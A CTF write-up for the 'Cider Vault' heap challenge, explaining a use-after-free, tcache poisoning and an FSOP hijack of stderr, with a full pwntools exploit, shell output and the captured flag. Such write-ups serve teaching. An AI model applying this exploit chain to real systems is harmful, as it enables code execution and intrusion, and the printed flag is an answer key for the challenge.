$ Pwn: Cider Vault
Challenge Description
Welcome to the Storybook Workshop! In this post, we are going to break down Cider Vault, an incredibly well-designed CTF challenge that serves as a masterclass in modern Linux heap exploitation.
We will start from the absolute basics of memory corruption and work our way up to an advanced technique known as FSOP (File Stream Oriented Programming). Whether you are a beginner trying to understand what a “Tcache” is, or an intermediate player looking to reliably bypass modern glibc protections, this guide is for you.
Detailed Walkthrough
Part 1: Reconnaissance
The challenge description sets a magical scene:
“The Storybook Workshop keeps magical story cards in a fragile old vault. Caretakers can create cards, write words, read chapters, merge pages, and ring the moon bell.”
But beneath the magical theme lies a hardened 64-bit Linux ELF binary. Let’s look at the security mechanisms protecting it using checksec:
RELRO STACK CANARY NX PIE
Full RELRO Canary found NX enabled PIE enabledThis output tells us the vault is heavily fortified:
NX (No-eXecute): We cannot simply inject malicious shellcode onto the stack or heap and run it.
PIE (Position Independent Executable) & ASLR: The memory addresses of the program and the
libclibrary are randomized every time it runs. We will need to find “Information Leaks” to figure out where things are.Full RELRO: The Global Offset Table (GOT) is read-only. In older binaries, attackers could simply overwrite the GOT entry for a common function like
putswith the address ofsystem. With Full RELRO, this easy path is blocked. We are forced to find a more complex execution vector.
Part 2: Finding the Vulnerabilities
By reverse-engineering the provided cider_vault binary (using Ghidra for C decompilation and objdump for assembly), we uncover two critical flaws in the vault’s logic.
Vulnerability 1: The Sneaky Integer Underflow
When we ask to “open a page” (allocate memory), the program checks the size we request. Let’s look at the decompiled C code:
// Decompiled C (Case 1: Open Page)
sVar11 = get_num();
if (sVar11 - 0x80 < 0x4a1) {
pvVar9 = malloc(sVar11);
// ...
At first glance, this looks like a standard bounds check. However, sVar11 (our size) is treated as an unsigned integer (a number that cannot be negative).
What happens if we ask for a page size of 24?
24 - 128 = -104
But because it’s an unsigned integer, -104 wraps around to a massive positive number (e.g., 18446744073709551512), which is completely fails the < 0x4a1 (1185) check!
We can see this exactly in the assembly:
165e: call 17a0 <get_num>
1663: mov rbx,rax ; Save our size input in rbx
1666: lea rax,[rax-0x80] ; Subtract 128 (0x80)
166a: cmp rax,0x4a0 ; Compare with 1184 (0x4a0)
1670: ja 1630 <main+0x450> ; If greater (unsigned), jump to error!The Impact: We are strictly forced to allocate memory chunks between 128 and 1313 bytes. We cannot allocate anything smaller.
Vulnerability 2: Use-After-Free (UAF)
The true fatal flaw lies in how the vault “tears” (deletes) pages. Let’s look at case 4 in the decompiled code:
// Decompiled C (Case 4: Tear Page)
if ((uVar3 < 0xc) && ((void *)(&vats)[(long)(int)uVar3 * 2] != (void *)0x0)) {
free((void *)(&vats)[(long)(int)uVar3 * 2]);
puts("ok");
goto LAB_00101268;
}When a programmer calls free() on a chunk of memory, the memory manager reclaims it. However, the pointer to that memory inside the vats array is never set to NULL. The array still “points” to the reclaimed memory.
We can verify this in the assembly. After the free call, there is no instruction clearing the memory:
1576: call 1110 <free@plt> ; Free the memory
157b: lea rdi,[rip+0xdf0] ; Load "ok" string
1582: call 1130 <puts@plt> ; Print "ok"
1587: jmp 1268 <main+0x88> ; Jump back to main menu (NO CLEARING!)The Impact: We have a “Dangling Pointer”. We can still use case 3 (peek) to read data from the deleted page, and case 2 (paint) to write data into the deleted page. This is a classic Use-After-Free (UAF).
Part 3: Heap Theory
To exploit a UAF, we must understand what free() actually does. When memory is freed, it isn’t filled with zeroes; instead, the memory manager (glibc) reuses that space to write its own tracking notes (pointers).
Depending on the size of the freed chunk, it goes to different storage bins. Let’s use an analogy:
The Tcache (Thread Local Caching)
The Concept: The Tcache is designed for extreme speed for small allocations (under 1032 bytes).
The Analogy: Think of the Tcache as the janitor’s front shirt pocket. When you return a small page, the janitor just shoves it in their pocket. If you immediately ask for another small page, they hand it right back without going to the main vault.
The Technical Reality: It is a Singly Linked List (Last-In, First-Out). When a chunk is freed into the Tcache, glibc writes an
fd(forward) pointer in the first 8 bytes. This pointer contains the memory address of the next freed chunk in the pocket.
The Unsorted Bin
The Concept: If a chunk is larger than 1032 bytes, it is too big for the Tcache. It goes to the Unsorted Bin to be processed later.
The Analogy: The janitor can’t fit a massive ledger in their pocket, so they drop it on the central “Sorting Desk” in the middle of the vault.
The Technical Reality: It is a Circular Doubly Linked List. When the first chunk is dropped into an empty Unsorted Bin, both its
fd(forward) andbk(backward) pointers are linked directly to a master tracking structure called themain_arena. Crucially, themain_arenaresides inside thelibclibrary.
Part 4: Step-by-Step Exploitation
With our knowledge of the UAF bug and Heap mechanics, we can build our attack chain.
Step 1: Information Leaks
Because of PIE and ASLR, we don’t know where the Heap or Libc are located in memory. We must leak their addresses.
We allocate four pages:
Page 0(128 bytes) - Small enough for the Tcache.Page 4(128 bytes) - Small enough for the Tcache.Page 1(1048 bytes) - Large enough to bypass the Tcache and go to the Unsorted Bin.Page 2(128 bytes) - A “Guard Chunk” to prevent Page 1 from naturally merging with the top of the heap when freed.
We then trigger our Use-After-Free:
Free
Page 1.- Because Page 1 is in the Unsorted Bin, its
fdpointer points tomain_arena. This is a Libc Pointer*!*
- Because Page 1 is in the Unsorted Bin, its
Now, using our “Peek” (Read) menu option, we simply read the contents of Page 4 and Page 1. By subtracting known static offsets from these leaked addresses, we secure the base addresses for both the Heap and Libc!
Step 2: Tcache Poisoning
Now that we know the exact base address of Libc, we know the exact address of stderr. We want to take control of it.
Because we still have write access to Page 4 (which is sitting in the Tcache), we can “Paint” over it. We overwrite its fd pointer, replacing the address of Page 0 with the address of stderr.
When we ask the vault to “open” two new 128-byte pages, the memory manager pops Page 4 out of its pocket, looks at our forged fd pointer, and unknowingly prepares stderr as the next available memory chunk.
When we allocate the second time, the program hands us a pointer directly to stderr! We now have an arbitrary write primitive anywhere in memory.
Step 3: The Moon Bell (FSOP)
We have write access, but Full RELRO prevents us from overwriting the Global Offset Table. How do we get code execution?
The challenge has a suspicious feature: “moon bell - ring the workshop bell”. Looking at the assembly, this triggers a specific function:
1410: mov rdi,QWORD PTR [rip+0x2c29] ; Load stderr pointer
1417: mov esi,0x58 ; Load 0x58
141c: call 1120 <_IO_wfile_overflow@plt> ; Trigger FSOP!This is the perfect setup for File Stream Oriented Programming (FSOP).
In Linux, standard streams like stderr are _IO_FILE structures. They rely on a vtable (a table of function pointers) to know how to handle events (like printing data or flushing buffers).
Modern glibc has strong security (_IO_vtable_check) that prevents us from just faking a vtable. However, it does not check the integrity of “Wide Character” structures!
The FSOP Wide-Data Hijack Payload:
We forge a fake
_wide_datastructure entirely on the heap. We set its internal execution pointer (the__doallocfunction) to point to thesystem()function in Libc.We use our hijacked
stderrpointer to overwrite the realstderrstructure.We start our overwrite with the string
" sh\x00"(which neatly satisfies internal flag checks while acting as our command).We change the real
stderr’s wide-data pointer to point to our fake structure on the heap.We change the
stderrvtable to_IO_wfile_jumps(a valid, official libc vtable, bypassing security checks).
When we ring the Moon Bell, the program calls _IO_wfile_overflow. It looks at stderr, realizes it needs to “allocate” a wide-character buffer, follows our fake pointers to the heap, and mistakenly executes system(" sh"). - Boom, we have a shell.
The Exploit Code
Here is the fully commented Python script using pwntools that executes this entire chain automatically.
#!/usr/bin/env python3
from pwn import *
# Setup & Context
exe = ELF("./cider_vault_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.binary = exe
# Offsets we found dynamically
LIBC_ARENA_OFFSET = 0x1ecbe0
SYSTEM_OFFSET = 0x52290
STDERR_OFFSET = 0x1ed5c0
WFILE_JUMPS = 0x1e8f60
def start():
if args.REMOTE:
return remote("chals.bitskrieg.in", 31150) # Update port if needed
else:
return process([exe.path])
io = start()
# Helper Functions
def open_page(idx, size):
io.sendlineafter(b"> \n", b"1")
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"page size:\n", str(size).encode())
def paint_page(idx, data):
io.sendlineafter(b"> \n", b"2")
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"ink bytes:\n", str(len(data)).encode())
io.sendafter(b"ink:\n", data)
def peek_page(idx, peek_bytes):
io.sendlineafter(b"> \n", b"3")
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"peek bytes:\n", str(peek_bytes).encode())
return io.recv(peek_bytes)
def tear_page(idx):
io.sendlineafter(b"> \n", b"4")
io.sendlineafter(b"page id:\n", str(idx).encode())
def moon_bell():
io.sendlineafter(b"> \n", b"7")
# Step 1: Heap & Libc Leaks (glibc 2.31 logic)
log.info("Step 1: Leaking Heap and Libc addresses")
open_page(0, 128) # Tcache chunk A
open_page(4, 128) # Tcache chunk B (Used to leak A's address)
open_page(1, 1048) # Unsorted bin chunk
open_page(2, 128) # Guard chunk
# Trigger UAF
tear_page(0)
tear_page(4) # Chunk 4 now points to Chunk 0
tear_page(1)
# Leak Heap Base
heap_leak_raw = peek_page(4, 8)
heap_leak = u64(heap_leak_raw.ljust(8, b'\x00'))
# Chunk 0 user-data is usually at offset 0x2a0 from the heap base
heap_base = heap_leak - 0x2a0
log.success(f"Heap Base: {hex(heap_base)}")
# Leak Libc Base via Unsorted Bin
libc_leak_raw = peek_page(1, 8)
libc_leak = u64(libc_leak_raw.ljust(8, b'\x00'))
libc_base = libc_leak - LIBC_ARENA_OFFSET
log.success(f"Libc Base: {hex(libc_base)}")
system_addr = libc_base + SYSTEM_OFFSET
stderr_addr = libc_base + STDERR_OFFSET
wfile_jumps_addr = libc_base + WFILE_JUMPS
# Step 2: Set up the Fake _wide_data structure
log.info("Step 2: Constructing fake _wide_data payload")
open_page(3, 1048) # Re-allocate over unsorted bin
# Calculate where chunk 3 is on the heap for our fake structs
wide_data_addr = heap_base + 0x3c0
fake_vtable_addr = wide_data_addr + 0x100
payload_wide_data = bytearray(0x200)
payload_wide_data[0x18:0x20] = p64(0)
payload_wide_data[0x30:0x38] = p64(0)
payload_wide_data[0xe0:0xe8] = p64(fake_vtable_addr)
payload_wide_data[0x100 + 0x68 : 0x100 + 0x70] = p64(system_addr)
paint_page(3, payload_wide_data)
# Step 3: Plain Tcache Poisoning (No Safe-Linking)
log.info("Step 3: Poisoning Tcache to target stderr")
# Write the raw stderr address directly into the freed chunk's fd
paint_page(4, p64(stderr_addr))
open_page(6, 128) # Pops chunk 4
open_page(5, 128) # Pops our poisoned pointer (stderr)!
# Step 4: Overwrite stderr & Trigger Shell
log.info("Step 4: Overwriting stderr and triggering the shell")
payload_stderr = bytearray(0xe0)
payload_stderr[0x00:0x08] = b" sh\x00\x00"
payload_stderr[0x88:0x90] = p64(wide_data_addr + 0x1f0) # Valid lock pointer
payload_stderr[0xa0:0xa8] = p64(wide_data_addr)
payload_stderr[0xd8:0xe0] = p64(wfile_jumps_addr)
paint_page(5, payload_stderr)
moon_bell()
log.success("Moon Bell rung. Enjoy your shell!")
io.interactive()Output:
❯ pyexec solver.py REMOTE
[+] Opening connection to chals.bitskrieg.in on port 31150: Done
[*] Step 1: Leaking Heap and Libc addresses
[+] Heap Base: 0x55555cf6a000
[+] Libc Base: 0x7f27caacb000
[*] Step 2: Constructing fake _wide_data payload
[*] Step 3: Poisoning Tcache to target stderr
[*] Step 4: Overwriting stderr and triggering the shell
[+] Moon Bell rung. Enjoy your shell!
[*] Switching to interactive mode
$ ls
cider_vault
flag.txt
ld-linux-x86-64.so.2
libc.so.6
run.sh
$ cat flag.txt
BITSCTF{30dc498589bc9c0ad04313fc9497b8ad}
$
[*] Interrupted
[*] Closed connection to chals.bitskrieg.in port 31150Final Flag
BITSCTF{30dc498589bc9c0ad04313fc9497b8ad}